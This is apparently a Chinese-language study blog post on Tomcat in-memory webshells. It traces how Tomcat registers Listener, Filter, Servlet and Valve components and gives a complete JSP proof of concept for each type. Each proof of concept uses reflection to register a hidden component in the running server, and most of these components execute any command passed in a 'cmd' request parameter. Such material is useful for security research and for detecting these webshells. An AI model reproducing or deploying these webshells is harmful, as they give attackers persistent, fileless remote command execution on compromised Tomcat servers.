Tomcat型内存🐎

参考文献:

Tomcat内存马

Java安全学习——内存马 - 枫のBlog

Tomcat中的三种Context

根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上

先导入依赖:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.31</version>
</dependency>

ServletContext

在Tomcat架构分析的时候,也提到过这个:

Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作

ApplicationContext

使用getServletContext()方法其实是获取到了ApplicationContextFacade类,但是其实本质上还是调用了ApplicationContext类中的方法

StandardContext

它是context容器的标准实现类,包含了对容器资源的各种操作,ApplicationContext本质上是调用了StandardContext

一张图来总结其中的关系:

Tomcat内存马

Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这不正是Java Web核心的三大组件嘛!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。

在这就一步一步的来分析:

引入Tomcat依赖—这个我在一开始就已经引入了

Listener型

Listener根据事件可以分为3中ServletContextListener,HttpSessionListener,ServletRequestListener

很明显,ServletRequestListener类型的是最适合用来做内存马的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法,我们只需要在这个方法中写入恶意命令就可以达到攻击手段了

例子:

package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;

@WebListener
public class Hello_Listener implements ServletRequestListener {


    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        } catch (NullPointerException n) {
            n.printStackTrace();
        }
    }
}

访问任意路由都会触发命令

我们刚刚只是演示了一下 Listener中的requestInitialized() 会在我们访问路由的时候自动调用,但是我们不可能可以直接去修改这个方法,那应该怎么动态的写入恶意的listener呢?

Listener注册过程

断点就打在requestInitialized()方法上,我们看看在这之前都调用了什么隐藏帧,开始回溯寻找调用过程

先来看StandarContext#fireRequestInitEvent方法

public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
    ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);

    for(int i = 0; i < instances.length; ++i) {
        if (instances[i] != null && instances[i] instanceof ServletRequestListener) {
            ServletRequestListener listener = (ServletRequestListener)instances[i];

            try {
                listener.requestInitialized(event);
            } catch (Throwable var7) {
                Throwable t = var7;
                ExceptionUtils.handleThrowable(t);
                this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instances[i].getClass().getName()}), t);
                request.setAttribute("javax.servlet.error.exception", t);
                return false;
            }
        }
    }
}

return true;
}

先是调用getApplicationEventListeners()获取到一个数组,然后遍历数组调用listener.requestInitialized(event);方法触发Litener,先步入

getApplicationEventListeners()方法

public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

发现信息是储存在applicationEventListenersList中的:

而且我们是可以通过StandardContext#addApplicationEventListener()方法来添加Listener

public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}

注入Listener

在往上看一帧

发现在这执行了invoke方法 获取到了StandardContext的实例

第二种方法获取:

由于JSP内置了request对象,我们也可以使用同样的方式来获取

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
//这里的Request为org.apache.catalina.connector.Request
StandardContext context = (StandardContext) req.getContext();
%>

第三种:

<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

这里就用第二种来进行注入:

这里先使用jsp文件进行注入,后面还会说实战怎么通过反序列化来加载

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

先访问一下jsp文件 这样就会把我们的恶意Listener注入了(访问这个jsp文件之后,会执行其中的代码,我们先是获取到了context上下文,然后把我们的恶意类添加到上下文中,然后在自动的调用我们的恶意方法)

Filter型

Filter调用分析

调用栈如下:注意的是 在我们给doFilter方法打上断点之后,已调试的模式去运行服务器,还需要去访问一下资源,在访问的过程中会触发Filter

还是一样先看调用栈

ApplicationFilterChain#internalDoFilter

private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
    if (this.pos < this.n) {
        ApplicationFilterConfig filterConfig = this.filters[this.pos++];

        try {
            Filter filter = filterConfig.getFilter();
            if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
                request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
            }

            if (Globals.IS_SECURITY_ENABLED) {
                ServletRequest req = request;
                ServletResponse res = response;
                Principal principal = ((HttpServletRequest)req).getUserPrincipal();
                Object[] args = new Object[]{req, res, this};
                SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
            } else {
                filter.doFilter(request, response, this);
            }

        } catch (ServletException | RuntimeException | IOException var15) {
            Exception e = var15;
            throw e;
        } catch (Throwable var16) {
            Throwable e = var16;
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.filter"), e);
        }
    } else {
        try {
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set(request);
                lastServicedResponse.set(response);
            }

            if (request.isAsyncSupported() && !this.servletSupportsAsync) {
                request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
            }

            if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) {
                ServletRequest req = request;
                ServletResponse res = response;
                Principal principal = ((HttpServletRequest)req).getUserPrincipal();
                Object[] args = new Object[]{req, res};
                SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);
            } else {
                this.servlet.service(request, response);
            }
        } catch (ServletException | RuntimeException | IOException var17) {
            Exception e = var17;
            throw e;
        } catch (Throwable var18) {
            Throwable e = var18;
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.servlet"), e);
        } finally {
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set((Object)null);
                lastServicedResponse.set((Object)null);
            }

        }

    }
}

在这里稍微了解一下filterConfig

一个filterConfig对应一个Filter,用于存储Filter的上下文信息

再去看看filters是怎么来的

这里的filters属性是一个ApplicationFilterConfig数组。 我们直接去这个数组里怎么储存Filter的,很难找到(这里其实是有点难理解的,先跟着大佬文章看吧)我这里的初步理解是因为调用的ApplicationFilterChain所以要找到ApplicationFilterChain的Filter,我们就继续往上看调用帧

StandardWrapperValve#invoke方法中

看看它是怎么来的:

步入ApplicationFilterFactory.createFilterChain方法:

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
 
        ...
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
 
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
 
        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();
 
        ...
 
        String servletName = wrapper.getName();
 
        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            
            ...
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            ...
 
            filterChain.addFilter(filterConfig);
        }
 
        ...
 
        // Return the completed filter chain
        return filterChain;
    }

只看其中关键代码:

首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
然后通过wrapper.getParent()函数来获取StandardContext对象
接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
最后根据Filter的名称,在StandardContext中获取FilterConfig
通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中

这是一套完整的调用逻辑了,但是我们应该怎么把恶意的Filter注入呢?

我们看到刚刚分析的时候,是在最后的时候把filter取出来进行调用,在这之前都是封装在filterConfig中,所以我们一开始也是必须得把恶意的filter放入filterConfig中,所以我们就来看看它其中的格式(这里直接看佬的,不浪费时间找了):

Filter注册分析

StandardContext

我们能看到此时的上下文对象StandardContext实际上是包含了这三者的:

filterConfigs:

其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息

filterDef:

存放了filter的定义,包括filterClass、filterName等信息

filterDefs

是一个HashMap,以键值对的形式存储filterDef

filterMaps

以array的形式存放各filter的路径映射信息

必要属性:dispatcherMappingfilterNameurlPatterns

注册Filter思路

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef对Filter进行封装,并添加必要的属性
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
 
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

1. 创建恶意Filter

public class CmdFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始构造完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("filter 销毁");
    }
}

FilterDef对Filter进行封装

String name="filterShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new CmdFilter());
filterDef.setFilterClass(CmdFilter.class.getName());
filterDef.setFilterName(name);
context.addFilterDef(filterDef);

创建filterMap类

FilterMap filterMap = new FilterMap();
	filterMap.setFilterName(name);
	filterMap.setDispatcher(DispatcherType.REQUEST.name());
	filterMap.addURLPattern("/*");
	context.addFilterMap(filterMap);

注入到filterConfigs中

这里因为ApplicationFilterConfig的构造方法不是公共的,需要反射来进行调用

Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
filterConfigs.put(name, filterConfig);

POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class CmdFilter implements Filter {

        @Override
        public void init(FilterConfig filterConfig)  {
            System.out.println("shell");
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException, IOException {
            Runtime.getRuntime().exec("calc");
            chain.doFilter(request,response);
        }

        @Override
        public void destroy() {
        }
    }
%>



<%
    //获取ApplicationContextFacade类
    ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context = (StandardContext) standardContextField.get(applicationContext);
%>

<%
    String name="filtershell";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(new CmdFilter());
    filterDef.setFilterClass(CmdFilter.class.getName());
    filterDef.setFilterName(name);
    context.addFilterDef(filterDef);
%>

<%
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    filterMap.addURLPattern("/*");
    context.addFilterMap(filterMap);
%>


<%
    Field Configs = context.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(context);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
    filterConfigs.put(name, filterConfig);
%>

还是一样 得先访问jsp木马文件,然后就会自动注入进去,注入完毕之后在我们访问资源之前就会进行拦截执行命令

Servlet型

其实思路都差不多,就是看怎么把恶意类注入到上下文中,每一种类型涉及的方法不一样,所以注入时调用的方法也不一样

编写恶意servlet

<%@ page import="java.io.IOException" %>
<%!
    //jsp定义或者声明需要加上!
    public class CmdServlet extends HttpServlet {
        @Override
        public void init(ServletConfig servletConfig){

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
            String cmd = servletRequest.getParameter("cmd");
            if(cmd!=null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }

        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    }
%>

注入servlet内存马

这里就只看ConfigContext#configureContext注册Servlet流程过程了,因为按照顺序来说是先listener-filter-servlet

先写出大致步骤

由上下文context创建wrapper,用来包装servlet
设置Servlet名称
设置Servlet全类名
wrapoer设置servlet
将wrapper放入context
添加url路径映射

创建StandardWrapper

StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件

看看fireLifecycleEvent()方法的具体实现:

protected void fireLifecycleEvent(String type, Object data) {
    LifecycleEvent event = new LifecycleEvent(this, type, data);
    Iterator i$ = this.lifecycleListeners.iterator();

    while(i$.hasNext()) {
        LifecycleListener listener = (LifecycleListener)i$.next();
        listener.lifecycleEvent(event);
    }

}

最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数,里面通过调用configureContext方法来从context里面获取web.xml里面的信息

获取到信息之后,是通过ContextConfig#addServletContainerInitializer来添加

通过configureContext(webXml)方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

 private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        context.setPublicId(webxml.getPublicId());
 
...   //设置StandardContext参数
 
        
        for (ServletDef servlet : webxml.getServlets().values()) {
 
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
 
            if (servlet.getLoadOnStartup() != null) {
 
                //设置LoadOnStartup属性
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
 
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
 
            //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());
 
            //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
 
           for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路径映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
        ...
    }

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射

加载StandWrapper

StandardContext#startInternal方法通过findChildren()获取StandardWrapper

最后依次加载完Listener、Filter后,就通过loadOnStartUp()方法加载wrapper

    public boolean loadOnStartup(Container children[]) {
 
        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
 
            //判断属性loadOnStartup的值
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            ArrayList<Wrapper> list = map.get(key);
            if (list == null) {
                list = new ArrayList<>();
                map.put(key, list);
            }
            list.add(wrapper);
        }
 
        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                }

注意这里对于Wrapper对象中loadOnStartup属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()加载调用。

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,所以是需要我们手动修改的

总结一下需要完成哪些:

获取StandardContext对象
编写恶意Servlet
通过StandardContext.createWrapper()创建StandardWrapper对象
设置StandardWrapper对象的loadOnStartup属性值
设置StandardWrapper对象的ServletName属性值
设置StandardWrapper对象的ServletClass属性值
将StandardWrapper对象添加进StandardContext对象的children属性中
通过StandardContext.addServletMappingDecoded()添加对应的路径映射

获取StandardContext对象:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

恶意类:

<%@ page import="java.io.IOException" %>
<%!
    //jsp定义或者声明需要加上!
    public class CmdServlet extends HttpServlet {
        @Override
        public void init(ServletConfig servletConfig){

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
            String cmd = servletRequest.getParameter("cmd");
            if(cmd!=null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }

        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    }
%>

创建StandardWrapper对象

<%
    CmdServlet cmdServlet = new CmdServlet();
    String name = cmdServlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(cmdServlet);
    wrapper.setServletClass(cmdServlet.getClass().getName());
%>

添加进上下文:

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
    //jsp定义或者声明需要加上!
    public class CmdServlet extends HttpServlet {
        @Override
        public void init(ServletConfig servletConfig){

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
            String cmd = servletRequest.getParameter("cmd");
            if(cmd!=null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }

        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
    CmdServlet cmdServlet = new CmdServlet();
    String name = cmdServlet.getClass().getSimpleName();

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(cmdServlet);
    wrapper.setServletClass(cmdServlet.getClass().getName());
%>

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

得先访问jsp文件 加载进去之后在对应的路径下执行命令

Valve型

先学习一下什么是Valve

我们先来简单了解一下Tomcat中的管道机制

我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。

管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。

管道机制流程分析

Pipeline接口:

我们可以看到它是继承了Contained

public interface Pipeline extends Contained {
 
    public Valve getBasic();
 
    public void setBasic(Valve valve);
 
    public void addValve(Valve valve);
 
    public Valve[] getValves();
 
    public void removeValve(Valve valve);
 
    public void findNonAsyncValves(Set<String> result);
}

Pipeline接口提供了各种各样对Value操作的接口,例如我们等会需要用的的addValue

Value接口:

public interface Valve {
 
    public Valve getNext();
 
    public void setNext(Valve valve);
 
    public void backgroundProcess();
 
    public void invoke(Request request, Response response)
        throws IOException, ServletException;
 
    public boolean isAsyncSupported();
}

其中getNext()方法可以用来获取下一个Valve,这个调用模式跟Filter的调用模式很像

通过源码看一看,消息在容器之间是如何传递的

消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中:

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
    Request request = (Request) req.getNote(ADAPTER_NOTES);
    Response response = (Response) res.getNote(ADAPTER_NOTES);

    if (request == null) {
        // Create objects
        request = connector.createRequest();
        request.setCoyoteRequest(req);
        response = connector.createResponse();
        response.setCoyoteResponse(res);

        // Link objects
        request.setResponse(response);
        response.setRequest(request);

        // Set as notes
        req.setNote(ADAPTER_NOTES, request);
        res.setNote(ADAPTER_NOTES, response);

        // Set query string encoding
        req.getParameters().setQueryStringCharset(connector.getURICharset());
    }
        ...

    try {
        ...
        connector.getService().getContainer().getPipeline().getFirst().invoke(   request, response);
    }
        ...
}

主要的就是看这个connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);

我们这里最好是通过断点来看,看的更清楚

connector.getService(): 获得StandardService

接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象

connector.getService().getContainer().getPipeline().getFirst() 获取到Valve

然后就是通过invoke方法 来执行不同的方法了

注入Valve

我们可以看到是通过getFirst()来获取到不同的Valve 然后在执行对应的操作,那么我们就只需要获取到网页的context,然后把我们恶意的Value存放进去,就可以达到攻击目的了

我们看看在哪里存放了Valve ,找到Pipeline

pipeline是在它的父类中定义的

接着看

可以通过addValve方法添加Valve

那么现在思路就明确了:

  1. 获取StandardContext对象
  2. 通过StandardContext对象获取StandardPipeline
  3. 编写恶意Valve
  4. 通过StandardPipeline.addValve()动态添加Valve

获取StandardPipeline对象

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

Pipeline pipeline = standardContext.getPipeline();
%>

编写恶意Valve

继承父类,并且重写invoke方法

<%!
class Shell_Valve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
    String cmd = request.getParameter("cmd");
    if (cmd !=null){
        try{
            Runtime.getRuntime().exec(cmd);
        }catch (IOException e){
            e.printStackTrace();
        }catch (NullPointerException n){
            n.printStackTrace();
        }
    }
}
}
%>

动态添加Valve

<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>

POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

Pipeline pipeline = standardContext.getPipeline();
%>

<%!
class Shell_Valve extends ValveBase {

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd !=null){
            try{
                Runtime.getRuntime().exec(cmd);
            }catch (IOException e){
                e.printStackTrace();
            }catch (NullPointerException n){
                n.printStackTrace();
            }
        }
    }
}
%>

<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>

访问jsp文件后 动态注入内存马 任意路径可以执行命令

总结

其实Tomcat内存马学起来也不算太难,别给自己设置难度(这里是因为作者的开发功底不太好,很多基础的东西并没有去学过,所以一直在拖延吧,得好好反思),java的学习是需要沉下心来学习的 加油